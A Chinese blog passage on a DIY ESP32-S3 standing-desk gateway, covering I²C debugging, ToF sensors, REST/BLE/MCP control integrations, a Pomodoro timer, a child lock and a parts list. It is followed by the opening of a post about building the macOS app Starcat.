static bool address_is_supported(uint8_t addr7, bool read)
{
    if (addr7 == ADDR_KEY_7BIT) {
        return true;
    }
    return !read && addr7 >= ADDR_DIG1_7BIT && addr7 <= ADDR_DIG4_7BIT;
}

static void IRAM_ATTR scl_edge_isr(void *arg)
{
    mxtark_soft_i2c_digit_event_t event = {0};

    if (line_is_high(GPIO_NUM_4)) {          /* CLK 上升沿：采样 DAT */
        mxtark_soft_i2c_sm_scl_rising(&s_sm, line_is_high(GPIO_NUM_5));
    } else {                                 /* CLK 下降沿：ACK 或送出 DR 的下一位 */
        event = mxtark_soft_i2c_sm_scl_falling(&s_sm);
        apply_sda_output();
    }
}

static void IRAM_ATTR sda_edge_isr(void *arg)
{
    if (!line_is_high(GPIO_NUM_4)) {         /* START/STOP 只在 CLK 为高时有效 */
        return;
    }
    if (line_is_high(GPIO_NUM_5)) {
        mxtark_soft_i2c_sm_stop(&s_sm);
    } else {
        mxtark_soft_i2c_sm_start(&s_sm);
    }
}

硬件 Slave 只能挂一个精确地址，五个地址只能自己翻脚。0x24 读周期仍回当前 DR；写到 0x34–0x37 的字节丢进队列做段码解码。

改成软件 I²C 后，Web 页面可以显示从数码管段码解析出的高度。桌子运动时，高度数字也会随之变化。

6.3 升降过程中的通信中断

软件 I²C 启用后，桌子在上升过程中频繁停止和重新启动。下降在早期版本中相对连续，后续修改软件时序后也出现了相同问题。

我检查了 Web 是否提前发送 STOP、BLE 运动租约是否过期，以及高度刷新是否触发安全上限。日志中没有出现 0x2E。上层控制逻辑没有主动触发停止。

按住升高时串口是这样，桌子已经在一顿一顿了：

I (22104) desk_core: motion request source=rest mode=hold dir=up action=start status=idle
I (22105) mxtark: DR=0x47
I (23118) mxtark: motion bus stage=run dir=up dt=1012 ms tx_dr=0x47
I (24122) mxtark: motion bus stage=run dir=up dt=1004 ms tx_dr=0x47
I (25130) mxtark: motion bus stage=run dir=up dt=1008 ms tx_dr=0x47

中间没有 mxtark: DR=0x2E，也没有 desk_core: motion stop。ESP32 一直在交 0x47，停的是控制盒这一侧读不到完整键码。

6.4 软件 I²C 响应统计与根因定位

故障版本的诊断日志出现过：

key_tx=102/8 abort=94
key_tx=164/8 abort=156
key_tx=128/4 abort=124

三段合计发起 394 次按键响应，完整发送只有 20 次，374 次中途被打断，完成率约 5%。控制盒只有偶尔能读到完整的 0x47，桌子上的体感就是：

完整读到 0x47  → 上升
本轮读取失败   → 控制盒认为按键没有持续
再次读到 0x47  → 又升一段

下降用 0x4F，和上升的 0x47 只差 1 个 bit。同一套软件状态机里，下降有时看起来连续一点。这不能证明软件 I²C 可靠，只说明送出去的那个字节里 0 和 1 怎么排，失败时的体感就不一样。

后面还试过边沿过滤、START/STOP 保护、ULP 采样、任务优先级和发送阶段保护。日志数字有时好看一点，真机连续升降出现断断续续的情况。继续在同一实现上叠时序规则，等于把升降安全绑在越来越复杂的中断状态机上。

所以软件 I²C 同时负责按键和高度这条路，最后证明保证不了升降稳定性，放弃了。

6.5 控制链路回退至硬件 I²C

软件 I²C 方案先后测试了边沿过滤、START 和 STOP 保护、任务优先级调整以及 ULP 辅助采样。这些修改没有恢复硬件 I²C 的连续运动表现，并且曾导致下降路径出现相同问题。

我恢复了硬件 I²C Slave，只处理地址 0x24。ACK、数据移位和总线时序重新交给 ESP32-S3 的硬件外设。

高度和距离只能改用其他方案, 比如使用外部距离传感器。为什么把高度从这条总线上拆走，见高度数据解析与通信方案调整。

7 双 ToF 传感器的距离采集

我采购了 2 类距离传感器, 分别是 TOF050C 和 TOF400C:

安装位置	模块 / 芯片	当前用途	产品数据
桌面右侧，水平朝向右侧障碍物	TOF050C / VL6180X	测量桌面右侧间距，参与低位上升保护	`right_gap_mm`
桌板下方，垂直朝向地面	TOF400C / VL53L1X	直接作为桌面高度，参与档位闭环和最高高度保护	`height_mm` / `tof_height_mm`

两块模块的接口丝印相同，均为 VIN/GND/SDA/SCL/INT/SHUT。TOF400C 模块正面标注 TOF400C-VL53L1X；固件还会读取芯片 ID，TOF050C 期望 0xB4，TOF400C 期望 0xEACC。

当前高度不做卷尺高度换算，也不叠加安装偏移。实测参考关系为：

TOF400C 读数	卷尺参考高度	用途
约 `56 cm`	约 `71 cm`	坐姿档位
约 `87 cm`	约 `105 cm`	站姿档位
`94 cm`	—	允许配置的最高传感器高度

两颗传感器共用 GPIO10 和 GPIO11 的硬件 I²C 总线，并由 ESP32-S3 的 3.3V 供电。它们上电后的默认地址都是 0x29。固件先通过 GPIO12 释放 TOF050C，把它的运行地址改为 0x30，再通过 GPIO13 启动保持 0x29 的 TOF400C。

固件会过滤无效量程状态，并在数据超过 1 秒没有更新时标记为离线。高度和右侧距离都增加了稳定滤波，Web 页面可以实时显示两路数据。

Web 和 OLED 现在都能显示两颗传感器的实时数据。固件已经使用 TOF400C 的原始距离完成档位闭环和最高位限制，并使用 TOF050C 处理低位向上运动时的右侧障碍。上升策略见双 ToF 安全策略。

8 OLED 本地状态显示

为了避免只能在 WEB 端看到当前桌面高度, 我在 ESP32-S3 上又接入了一块 0.91 英寸 SSD1306 OLED，分辨率为 128×32。OLED 与两颗 ToF 传感器共用 GPIO10 和 GPIO11，使用 3.3V 供电。固件启动时会自动检测 0x3C 和 0x3D 两个常用地址。

OLED	ESP32-S3	说明
GND	GND	必须与 ESP32、ToF 外部电源共地
VCC	3V3	不接外部 5V，避免 SDA/SCL 被上拉到 5V
SCL	GPIO10	共享 I2C1 时钟
SDA	GPIO11	共享 I2C1 数据

屏幕每 4 秒轮播以下页面：

大字显示桌面高度和右侧墙面间距。
显示桌子运动状态、TOF050C/TOF400C 在线状态和童锁。
显示 Wi-Fi 模式、IP 地址、BLE 当前连接数和 Bond 数量。

桌子运动时，OLED 会优先显示 UP、DOWN 或 PRESET 以及实时高度。传感器掉线后，屏幕显示 SENSOR OFFLINE。OLED 只读取各模块的状态，不发送升降指令，也不会在传感器异常时阻止 STOP 或手动升降。页面和接线见OLED 状态屏。

9 多终端控制、语音与本地状态显示

桌子能动、高度也能读之后，这项目算是完成了一大半了。剩下是多端控制, Web 其实已经能做完全部操作，不过都走到这一步了，多端就是锦上添花，那就多添一点花。

目前已实现的控制端有（用法汇总见多种方式控制升降桌）：

控制端	怎么用
局域网 Web	浏览器打开网关页面，按住升降、切档位、开关童锁
REST / 脚本	`desk-preset.sh`、curl、快捷键都走这一组接口
iPhone / Android App	BLE 优先，必要时回退局域网
Apple Watch	Digital Crown 连续升降
键盘	Karabiner 快捷键切坐姿、站姿、停止
桌面旋钮	顺时针升、逆时针降、按下停止
GoatRemote	Mac 上语音切坐姿 / 站姿
小智 AI	桌上 JC3636W518C，圆屏页面和语音
Ulanzi D200H	实体键坐 / 站 / 番茄
原厂面板	双 RJ45 透传后，桌边按键仍可用

还没做的入口：

控制端	打算怎么接	现状
Home Assistant	局域网 MQTT，Discovery 出 Cover 实体，坐 / 站 / 停	方案写了，固件没接
Matter	ESP32-S3 上跑 Matter，手机当控制器添加	未实现
Siri	走 Matter 或快捷指令，不另做一套云	未实现
米家 / 华为智慧生活	正品级要认证模组，不打算在现有板上硬搓私有协议	未实现

这些都不走公网端口映射。HA 如果接上，也只挂在家里的 Broker 上。方案分别在MQTT / Home Assistant和米家 / 华为生态调研。

9.1 先做 Web

ESP32 可以按原厂协议控制桌子升降之后，为了快速验证项目, 我先做了局域网 Web。

浏览器打开网关页面就能按住升降、松手停止，也可以切坐姿、站姿和童锁。没有 Wi-Fi 时设备会开 SoftAP，SSID 是 DeskGateway，配网页在 http://192.168.4.1/。默认密码和 Web 登录密码都是 desk-gateway，用起来之后应该改掉。

页面上的升/降是按住才动，不是点一下走到底。高度来自 TOF400C，设置页可以改档位、来源权限和童锁。Web 只挂在局域网，不要做公网端口映射。本机要改的 IP、密码和路径见本地多端部署。

9.2 REST API

Web 调的就是固件上的 HTTP 接口。我把这组接口固定成 REST，脚本和第三方用 X-Desk-Key，浏览器用 Authorization: Bearer，两个头等价，值等于当前 Web 密码。

键盘、旋钮、GoatRemote、D200H、小智桥接，以及手机和手表的 Wi-Fi 通道，发的都是同一套升、降、停、档位指令，不用各自去处理 I²C。后面能继续加入口，靠的就是这组 REST。契约见REST API。

curl -s -H "X-Desk-Key: $DESK_KEY" "http://$DESK_IP/api/v1/desk/status"
curl -s -X POST -H "X-Desk-Key: $DESK_KEY" \
  "http://$DESK_IP/api/v1/desk/preset/4/goto"
curl -s -X POST -H "X-Desk-Key: $DESK_KEY" \
  "http://$DESK_IP/api/v1/desk/stop"

仓库里的 scripts/desk-preset.sh 把常用动作包了一层：1 坐姿，4 站姿，up / down 是旋钮那种短租约 jog，不是 Web 长按。

9.3 键盘和旋钮

有了 REST 之后，键盘和旋钮就只需要发 HTTP 请求即可操作升降桌。

我用 Karabiner 把旋钮映射成三个闲置功能键，分别对应顺时针、逆时针和按下。按键事件进 Shell 脚本，脚本再调 ESP32 的局域网接口。键盘快捷键同样走 desk-preset.sh，切坐姿、站姿或停止。映射和 jog 时序见键盘、旋钮与语音控制，Karabiner 配置在integrations/karabiner。

{
  "description": "ForcePad: F1 → 升降桌:1",
  "manipulators": [
    {
      "type": "basic",
      "from": {
        "key_code": "f1",
        "modifiers": {
          "optional": ["any"]
        }
      },
      "to": [
        {
          "shell_command": "/Users/dong4j/Developer/1.AI/ai-incubator/desk-gateway/scripts/desk-preset.sh 1"
        }
      ],
      "conditions": [
        {
          "type": "device_if",
          "identifiers": [
            {
              "vendor_id": 6790,
              "product_id": 65024
            }
          ]
        }
      ]
    }
  ]
},
{
  "description": "ForcePad: F2 → 升降桌:stop",
  "manipulators": [
    {
      "type": "basic",
      "from": {
        "key_code": "f2",
        "modifiers": {
          "optional": ["any"]
        }
      },
      "to": [
        {
          "shell_command": "/Users/dong4j/Developer/1.AI/ai-incubator/desk-gateway/scripts/desk-preset.sh stop"
        }
      ],
      "conditions": [
        {
          "type": "device_if",
          "identifiers": [
            {
              "vendor_id": 6790,
              "product_id": 65024
            }
          ]
        }
      ]
    }
  ]
},
{
  "description": "ForcePad: F3 → 升降桌:4",
  "manipulators": [
    {
      "type": "basic",
      "from": {
        "key_code": "f3",
        "modifiers": {
          "optional": ["any"]
        }
      },
      "to": [
        {
          "shell_command": "/Users/dong4j/Developer/1.AI/ai-incubator/desk-gateway/scripts/desk-preset.sh 4"
        }
      ],
      "conditions": [
        {
          "type": "device_if",
          "identifiers": [
            {
              "vendor_id": 6790,
              "product_id": 65024
            }
          ]
        }
      ]
    }
  ]
}

旋钮不能跟 Web 长按用同一套语义。第一个刻度只记录方向，700 毫秒内出现第二个同方向刻度后才启动升降。停止旋转后，最后一次指令的运动租约大约 500 毫秒后失效，ESP32-S3 自动停止。反向旋转时先停掉当前运动，再启动相反方向。

{
  "description": "ForcePad: ⌘ + PageUp → 升降桌:持续上升",
  "manipulators": [
    {
      "type": "basic",
      "from": {
        "key_code": "page_up",
        "modifiers": {
          "mandatory": ["command"],
          "optional": ["any"]
        }
      },
      "to": [
        {
          "shell_command": "/Users/dong4j/Developer/1.AI/ai-incubator/desk-gateway/scripts/desk-preset.sh up"
        }
      ],
      "conditions": [
        {
          "type": "device_if",
          "identifiers": [
            {
              "vendor_id": 6790,
              "product_id": 65024
            }
          ]
        }
      ]
    }
  ]
},
{
  "description": "ForcePad: ⌘ + PageDown → 升降桌:持续下降",
  "manipulators": [
    {
      "type": "basic",
      "from": {
        "key_code": "page_down",
        "modifiers": {
          "mandatory": ["command"],
          "optional": ["any"]
        }
      },
      "to": [
        {
          "shell_command": "/Users/dong4j/Developer/1.AI/ai-incubator/desk-gateway/scripts/desk-preset.sh down"
        }
      ],
      "conditions": [
        {
          "type": "device_if",
          "identifiers": [
            {
              "vendor_id": 6790,
              "product_id": 65024
            }
          ]
        }
      ]
    }
  ]
}

现在可以全部使用键盘和旋钮来控制升降:

9.4 手机和手表也可以走 REST

同一组 REST，iPhone、Android 和 Apple Watch 也能用。App 不需要懂原厂键码，发升、降、停、档位即可。Watch 的 Digital Crown 正向升高、反向降低，停转后发 STOP；Crown 走 jog，和旋钮一样靠固件短租约兜底，不用 Web 那种按住续期的接口。手机见App README，手表见Watch README，双通道见移动端双通道。

9.5 再补一条蓝牙通道

局域网够用，但手机离路由器远、或者不想填 IP 的时候，REST 就不方便。固件后来也做了 BLE：广播名 DeskGateway，最多三个 Central，同一时间只有一个运动所有者，非所有者会收到 Desk Busy 0x80，任意 STOP 始终有效。UUID 和字节协议见BLE Accessory Profile。

手机和手表现在都是双通道：默认优先 BLE，连不上或断开后再走局域网 REST。通道切换不会重放刚才的运动命令。童锁、来源权限、运动租约和断连停止仍由 ESP32 上的同一套逻辑处理，客户端只是入口。

9.6 优篮子 D200H

桌面上还有一块优篮子 D200H，按键布局接近 Stream Deck。有了 REST 之后，我给它写了一个插件，把升降桌和番茄时钟做到三个实体键上。

三个键的动作都是固定 REST，不在插件里拼原厂协议：

按键	调用	键面显示
请坐	`POST /api/v1/desk/preset/1/goto`	坐姿目标高度和当前高度
站立	`POST /api/v1/desk/preset/4/goto`	站姿目标高度和当前高度
番茄时刻	`POST /api/v1/reminder/action`，`{"action":"start_focus"}`	设备端剩余倒计时

三个键共用一次 GET /api/v1/desk/status 轮询。倒计时在 ESP32 上跑，插件不在电脑里另起一套计时器。网关离线时键面显示「离线」，不会继续刷陈旧高度。

番茄时钟默认专注 25 分钟、短休息 5 分钟，每完成 4 个专注再进 15 分钟长休息。提醒只出语音、音效和状态，不会到点自动升桌或降桌。

源码在 integrations/ulanzi-d200h，不能直接复制进 UlanziStudio，要按插件 README 用官方 SDK 编译后再安装。任意一个键的属性面板里填网关地址和 X-Desk-Key，三个键共享这份配置，密钥不写进源码。电脑、UlanziStudio 和网关必须能互通，UlanziStudio 也要保持运行。.local 解析不了就改填 DHCP IP。

9.7 GoatRemote

Mac 上我还用 GoatRemote 通过 Apple TV Remote 来控制:

它可以把听到的话直接映射成写好的 Shell 命令。命令和键盘、旋钮一样，调用 scripts/desk-preset.sh。提示词和命令表见GoatRemote 集成。

我只加了两句：

我说的话	脚本
升降桌降到最低	`desk-preset.sh 1`
升降桌升到最高	`desk-preset.sh 4`

Action 选 shell。不在 Terminal 里时，GoatRemote 会包成 osascript / do shell script，所以脚本路径要用这台机器的绝对路径，并先改好脚本里的 DESK_BASE_URL 和 DESK_KEY。

9.8 小智 AI 硬件

桌上这块是晶彩的 JC3636W518C，1.8 英寸圆屏，小智固件里的板卡名是太极派 taiji-pi-s3。我没有一直用官方预编译包，而是在 xiaozhi-esp32 里给这块板加了一套空闲界面：左右滑动三个页面，小智进入对话后仍回到原来的聊天界面。点到没有按钮的区域，还是原来的对话开关。

三页分别是：

页面	做什么
主页	时间、日期，以及桌面高度和番茄钟是否在跑
升降桌	显示当前高度；坐姿、站姿两个键，两秒内再点一次才发送，只走档位 1 和档位 4，没有持续升降
番茄钟	显示设备端倒计时，可以开始、暂停、继续和停止

后台自己轮询 Desk Gateway 的 GET /api/v1/desk/status，按键走同一组 REST。网关地址和 X-Desk-Key 写在本机 sdkconfig 里，不进 Git。URL 或密钥留空时，控制中心还能看时间，桌控和番茄钟会显示未配置。童锁打开或上升被拦住时，页面会直接提示，不会再发运动。硬件侧部署见小智固件与本地 Server。

语音仍先说「你好小智」，等进入聆听后再下指令。

9.9 从小智智能体到升降桌

触摸页面会直接调用局域网 REST。语音这条没有改成设备直连，仍走小智云智能体上的 MCP，再进 Mac 上的桥接。这张图是语音链路：

小智智能体只看到五个固定 MCP 工具。Mac 上的桥接程序把工具映射到固定 REST 路由，Desk Gateway 的地址和访问密钥保存在本地配置文件中。桥接已经交给 launchd 常驻，登录后自动启动，异常退出后也会重新拉起。用法见小智 AI 控桌，桥接代码在integrations/xiaozhi-mcp。

小智官方在 MCP IoT Control Usage 中把 MCP 作为 IoT 控制协议，后端通过 initialize、tools/list 和 tools/call 发现并调用工具。这里复用的是同一套机制，区别只是工具最终调用了我自己的 Desk Gateway，而不是直接控制小智硬件上的外设。

WebSocket 和 initialize 仍用官方 mcp_pipe.py，我不重写那一层。自己写的是 stdio 上的 MCP Server：tools/list 只报五个名字，tools/call 落到固定函数，函数里再打局域网 REST。路径、Method、X-Desk-Key 都写死在代码里，模型传不进来。

desk_mcp.py 核心就是注册这五个工具：

def create_mcp_server() -> FastMCP:
    client = DeskGatewayClient(DeskGatewayConfig.from_env())
    server = FastMCP("DeskGateway")

    @server.tool(name="desk.get_status")
    def get_status() -> dict:
        return client.get_status()

    @server.tool(name="desk.goto_sit")
    def goto_sit() -> dict:
        return client.goto_sit()

    @server.tool(name="desk.goto_stand")
    def goto_stand() -> dict:
        return client.goto_stand()

    @server.tool(name="desk.raise_to_max")
    def raise_to_max() -> dict:
        return client.raise_to_max()

    @server.tool(name="desk.stop")
    def stop() -> dict:
        return client.stop()

    return server

真正发 HTTP 的是 desk_gateway_client.py。工具没有 URL 参数，路径在客户端里写死：

def _request(self, method: str, path: str) -> dict:
    request = Request(
        f"{self._config.base_url}{path}",
        data=b"" if method == "POST" else None,
        method=method,
        headers={
            "Accept": "application/json",
            "X-Desk-Key": self._config.api_key,
        },
    )
    with urlopen(request, timeout=self._config.timeout_seconds) as response:
        return json.loads(response.read().decode("utf-8"))

def goto_sit(self) -> dict:
    self._status_preflight()
    self._request("POST", "/api/v1/desk/preset/1/goto")
    return {"ok": True, "state": "started", "target": "sit"}

def stop(self) -> dict:
    self._request("POST", "/api/v1/desk/stop")
    return {"ok": True, "state": "stopped"}

坐姿就是档位 1，站姿就是档位 4。运动前会看童锁和 REST 来源开没开；STOP 不做这些检查。ok 或 state=started 只表示网关接了命令，不表示桌子已经到位。

9.9.1 开放的语音操作

桥接只提供固定动作，不接受大模型生成的 URL、Header 或任意目标高度：

我说的话	MCP 工具	Desk Gateway 执行的动作
“升降桌现在多高”	`desk.get_status`	查询当前高度、运动状态和安全状态
“把升降桌调到坐姿”	`desk.goto_sit`	前往档位 1
“把升降桌调到站姿”	`desk.goto_stand`	前往档位 4
“把升降桌升到最高”	`desk.raise_to_max`	在设备侧持续检查 ToF，到达最高安全位置后停止
“停止升降桌”	`desk.stop`	发送固定 STOP 指令

“站姿”和“最高”是两个动作。站姿使用已经配置的档位 4，最高则使用 Desk Gateway 的安全上限。raise-to-max 开始前会检查真实 ToF 高度、Driver 能力、童锁和向上阻挡状态；开始运动后，最终停止由 ESP32 本机负责，不依赖小智、MCP 或 Mac 桥接继续在线。

“升高一点”“降低一点”和“调到 75 厘米”暂时不会执行。当前桥接没有开放持续按住升降，也没有把任意高度作为参数交给大模型。语音识别有延迟，紧急情况下仍应使用原厂面板、实体 STOP 或直接断电。

10 番茄时钟

OLED 只能看状态。坐久了要有人提醒，这块我放在 ESP32 上跑，不依赖浏览器开着。Web、D200H 和小智圆屏都只是入口，倒计时、到期和语音都以网关为准。

默认专注 25 分钟、短休息 5 分钟，每完成 4 个专注再进 15 分钟长休息。到期后等我手动开始下一阶段，不会在后台把休息时间偷偷扣掉。提醒只出语音、音效和界面状态，不会到点自动升桌或降桌。设备重启后倒计时回到空闲，时长和音量配置还在，但不会补播上一次没听完的提醒。

语音走 I2S 到 MAX98357A，再推扬声器。WAV 放在独立的 audio 分区里，更新语音必须完整烧录，不能只烧 app。

ESP32-S3	MAX98357A	说明
`3V3` 或板背短接后的 `5V`	`VIN`	YD-ESP32-S3 排针 `5V` 出厂不通。不要用桌子 RJ45 红线
`GND`	`GND`	与 ESP、USB 电源共地
GPIO14	`BCLK`	I2S Bit Clock
GPIO15	`LRC` / `WS`	I2S Word Select
GPIO16	`DIN`	ESP 到功放的数据
—	`SPK+` / `SPK-`	扬声器接在两端之间，任意一端都不接 GND

REST 提供开始、暂停、继续、跳过、停止、延后 5 分钟、音量、静音和试听。状态机和接线见番茄语音提醒。

11 童锁、自动童锁和禁用原厂面板

升降桌必要的童锁功能也添加上了, 裁决放在 ESP32 上，客户端只负责开关。

全局童锁打开后，除了 STOP 和解除童锁，REST、串口、蓝牙和原厂面板都不能启动或维持运动。Web 和手机 App 都能开关。童锁关掉之后，每个来源还要过自己的权限：REST、Bluetooth、Panel 可以分别关掉。关掉某个来源会先停掉当前运动, STOP 始终放行。

这里还加了个自动童锁，我离家后会自动打开。

这个功能需要一部授权手机。这部手机通过加密 BLE 或已认证 REST 大约每 30 秒发一次 Presence。两种通道都断了大约 3 分钟后，固件用 auto_away 来源锁上。其他已经配对的手机在线，不会延长倒计时。人回家后，只解除这次自动锁；我自己手动打开的童锁，仍要手动关。

原厂面板可以单独禁用。Web 设置里关掉 Panel，或者 POST /api/v1/desk/access，{"source":"panel","enabled":false}。关掉后面板升、降、档位都无效，STOP 还在。重新打开时，如果手指一直按着旧按键，桌子不会立刻动，必须先松开再按。裁决顺序见架构总览里的童锁与仲裁。

12 升降桌网关的后续设计

12.1 当前原型的硬件形态

当前原型以 ESP32-S3 开发板为主控。控制盒侧使用 GPIO4 和 GPIO5，原厂面板侧使用 GPIO6 和 GPIO7。TOF050C、TOF400C 和 OLED 共用 GPIO10 和 GPIO11 的外设 I²C 总线。板型见ESP32-S3 N16R8 选型。

Web、手机和旋钮已经分别控制过真实升降桌。小智这块圆屏已经能轮询 Desk Gateway 的实时高度。Web 和 OLED 能显示两颗 ToF 的实时数据。当前硬件仍然使用开发板和临时接线，适合继续调试，还不适合长期安装。

12.2 多厂商升降桌协议适配

我把不同升降桌的协议实现放在 Desk Driver 中，自己的升降桌使用 mxtark。Web、手机、手表和 BLE 只调用统一控制接口，不直接依赖具体桌型协议。

Upsy Desky 的分层方式可以用于后续 Driver 设计。以后会根据真实设备和抓包结果增加 UART、Loctek 或 Jiecang 等协议支持。可插拔 Driver 的边界写在平台架构设计里。

13 硬件清单

这是我这套原型实际用到的东西。当前还是开发板加飞线，不是成品套件。GPIO 和接法以仓库 README、真机验收清单为准。

以下大部分硬件都是之前玩儿树莓派剩下的, 所以整体成本没有超过 100, 但是前前后后折腾了 2 周左右, 总算是完工了.

ESP32 用 USB-C 单独供电。桌子 RJ45 红线 3.3V 只给 CLK/DAT 上拉，不要接到 ESP32 的 3V3。

13.1 网关本体

数量	型号	用途
1	ESP32-S3 N16R8（源地 / VCC-GND）	主控。Flash 16MB、PSRAM 8MB
1	USB-C 线和 5V 电源	给 ESP32 供电，日常走板载 USB 转 UART 口
1	双口 RJ45 模块	左口接控制盒，右口接原厂面板
2	网线	控制盒 ↔ 左口，原厂面板 ↔ 右口
2	2 kΩ 电阻（可用 2.2 kΩ）	拔掉原厂面板后，补 CLK/DAT 上拉到桌子 3.3V
若干	杜邦线 / 飞线	临时接线

升降桌本身是非智能双电机、原厂 Mxtark 面板。面板协议和线序对不上的，这一套不能直接套。

13.2 传感器、屏幕和语音

数量	型号	用途
1	TOF400C / VL53L1X	桌板朝地，产品高度
1	TOF050C / VL6180X	桌面朝右，低位上升保护
1	0.91 英寸 SSD1306 OLED，128×32	本地状态，和两颗 ToF 共用 GPIO10 / GPIO11
1	MAX98357A	I2S 功放，GPIO14 / 15 / 16
1	扬声器	接模块 `SPK+` / `SPK-`，任意一端都不接 GND

两颗 ToF 的 SHUT 还要各占 GPIO12、GPIO13。功放和扬声器的真机音质还没验收。

红黄蓝三颗状态灯固件已经接到 GPIO1 / GPIO2 / GPIO8，各串一只限流电阻（红黄 220 Ω～330 Ω，蓝 68 Ω～100 Ω）。真机观感未验收，不做也可以，不影响控桌。

13.3 控制端（可选）

网关本身不依赖这些。有了局域网 REST 之后再加：

数量	型号	用途
1	晶彩 JC3636W518C	桌上小智终端，固件板卡名 `taiji-pi-s3`
1	优篮子 D200H	实体键：请坐 / 站立 / 番茄
1	客制化键盘	Karabiner 快捷键切坐姿、站姿、停止
1	桌面旋钮	顺时针升、逆时针降、按下停止
—	已授权手机	App 控桌；自动童锁只绑其中一部

GoatRemote 跑在 Mac 上，不另买硬件。

13.4 调试

数量	型号	用途
1	逻辑分析仪	抓原厂 CLK/DAT，只接 GND / CLK / DAT，不接 3.3V
1	万用表	核对线序、上拉电阻和共地

13.5 完整接线图

这张图是当前原型的完整接线:

14 开源地址

固件、手机 App、Watch、脚本和文档都在这个仓库：

https://github.com/dong4j/desk-gateway

MIT 许可。现在是能跑的原型，V1 还没打 tag。

顶层目录大致是：

firmware/desk-gateway/   ESP32-S3 主固件（ESP-IDF）
mobile/app/              iPhone / Android（React Native + Expo）
mobile/watch/            独立 Apple Watch App
integrations/            小智 MCP、D200H、Karabiner、GoatRemote
scripts/                 固件检查、烧录、desk-preset.sh
docs/                    接线、协议、REST、当前状态

第三方入口在 integrations/，脚本在 scripts/，都接到同一套局域网 REST，不直接碰厂商协议。接线、GPIO 和烧录以仓库 README和真机验收清单为准。文档总目录是docs/README.zh-CN.md。

桌上那块小智圆屏的空闲界面改在另一份 xiaozhi-esp32 工程里，不在这个仓库。

15 总结

这套东西现在能日常用了。桌边原厂面板还在，Web、键盘、旋钮、手机、手表、D200H、GoatRemote 和小智发的是同一组升、降、停、档位指令，ESP32-S3 再翻译成控制盒认的键码。产品高度不看数码管，看桌板底下那颗 TOF400C。童锁开着的时候，除了 STOP 和开锁，REST、蓝牙和原厂面板都不能让桌子动。

过程里有两处比较大的弯路。拔掉原厂面板等于拔掉 CLK/DAT 上拉，控制盒读不到键码，补 2 kΩ 到桌子 3.3V 之后升降才通。后来想用软件 I²C 同时应答五个地址，把高度从数码管段码里抠出来，桌子会在运动中自己停掉，最后退回硬件 I²C Slave 只回 0x24，高度改外接 ToF。

目前这个项目已经达到我的预期了，后续有机会再来集成其他协议的升降桌。

下一步可能就是改我的键盘了：

接上 iPhone7P 的线性马达来实现打字震动的效果 😎.

目前遇到的问题是并联 3 个线性马达后震动就非常弱了, 怀疑是电流太小的问题, 有哪位大佬可以指点一下呀, 感谢 🙏🏻.

我为 GitHub 重度使用者做了一款 macOS 原生应用

Tue, 11 Aug 2026 00:00:00 GMT

前言

几个月没更新博客，这段时间基本都花在开发一款原生 macOS 应用上。

这是我做的第一款 macOS 应用。我从 2015 年开始使用 Mac，很喜欢 macOS 简洁的界面和系统体验，也一直想亲手做一款原生应用。

过去十年我主要写 Java 后端，熟悉的是 Spring Boot、数据库和服务器，对 SwiftUI、App Sandbox、签名、公证和 StoreKit 基本没有接触。这次只能边做边学，从界面和数据存储，一路做到签名、公证、支付和上架。

这款应用就是 Starcat。现在它已经以 Starcat for GitHub 的名字上架 Mac App Store，也可以通过官网 DMG 和 Homebrew 安装。写这篇文章时，App Store 和 Direct 的公开版本都是 1.3.0。

最初准备写这篇文章时，我想从架构入手，把 SQLite、本地搜索、RAG、双渠道分发和海外支付梳理一遍。但回头翻完整个开发记录，很多问题并不属于架构本身。需求没有讨论清楚，后面的设计和实现就会反复调整；UI 规范没有统一，不同 AI 会按照各自的理解完成页面；自动化测试通过，也只能说明代码覆盖到的部分没有问题，真实 App、账号和服务仍然需要重新验证。

随着应用接近发布，开发者账号、App Store 审核、备案、支付和结算又陆续出现。它们不属于某个具体功能，却可能直接卡住上架和收款。如果只写 SQLite、RAG 和支付架构，Starcat 从开发到交付的过程就少了一大截。

下面就从 Starcat 最初要解决的问题写起，依次讲需求和架构怎样确定、开发中踩过哪些坑，以及最后如何完成 App Store 上架、Direct 分发和支付对接。过程中形成的文档、规范、工具和 Skills，会结合对应的问题一起说明。

{% folding 👀 Starcat 是什么？ %}

Starcat 是一款 macOS 原生 GitHub Stars 管理工具。它把 starred repositories 同步到本地 SQLite，支持标签、私有笔记、阅读状态、README、全文搜索、Release 追踪和仓库健康度。用户可以把真正想长期保留的仓库显式加入知识库，再使用 RAG 做带引用的问答。

1.3.0 增加了「我的项目」、全局与单仓库洞察、macOS 桌面小组件，以及 Alfred、uTools、Raycast 搜索入口。界面支持 18 种语言。AI 功能依赖 Pro 与用户配置的 provider；不配置 AI，Stars 管理和本地搜索仍可使用。

官网与 Direct 下载：starcat.ink
Mac App Store：Starcat for GitHub
Homebrew：homebrew-starcat
公开问题反馈：starcat-pro

{% endfolding %}

Starcat 的起点

我是 GitHub 的重度使用者，平时经常在上面翻项目。看到一个项目做得不错，或者认同作者的思路，我会点个 Star；遇到以后工作中可能用到、自己也想继续学习的项目，同样会 Star。时间长了，我的 Stars 已经接近两千个。

GitHub 对 Stars 的管理比较简单，主要依靠自定义 Lists 分组。数量少的时候还够用，积累到一定程度以后，找项目就变得很麻烦。工作中遇到一个问题，明明记得以前在 GitHub 看过类似的项目，却想不起仓库名和 owner，只能换着关键词搜索，再到 Stars 列表里一页页翻。

我长期用过 OhMyStar，后来又看了 Starship 和 Starflare。这些工具改善了 Stars 的浏览和整理，但仍然没有完全解决我的问题。我的 Star 实际上包含两种不同的意思：一种是对项目和作者表示认同，另一种才是把项目当成以后可能使用的工作资料。

第一类项目点完 Star 以后，也许不会再打开，没有必要逐个分类和补笔记。第二类项目才需要认真整理，记录它解决的问题、自己的判断和可能用到的场景。把所有 Stars 都当成待整理的收藏，最后只会多出一项长期维护工作。

我用过的这些工具，重点仍然是把 GitHub Stars 同步下来，再提供分组、标签、搜索和 README 浏览。它们可以改善 Stars 的管理，却没有把「表示认同」和「准备在工作中使用」分开。第二类项目需要记录用途、补充笔记，并且能够按照问题和使用场景重新找到，这正是我想通过 Starcat 解决的问题。

Starcat 因此在基础的 Stars 管理之外增加了独立知识库。只有准备学习、使用或长期保留的项目才需要进入知识库，成为后续整理、检索和 RAG 问答的数据来源。

知识库里的项目可以来自自己的 Stars，也可以直接从发现和探索中加入。看到一个值得研究的项目，不需要先去 GitHub 点 Star，再回到 Starcat 整理；Star 表达认同，加入知识库表示准备继续使用，两种操作各自保留原来的含义。

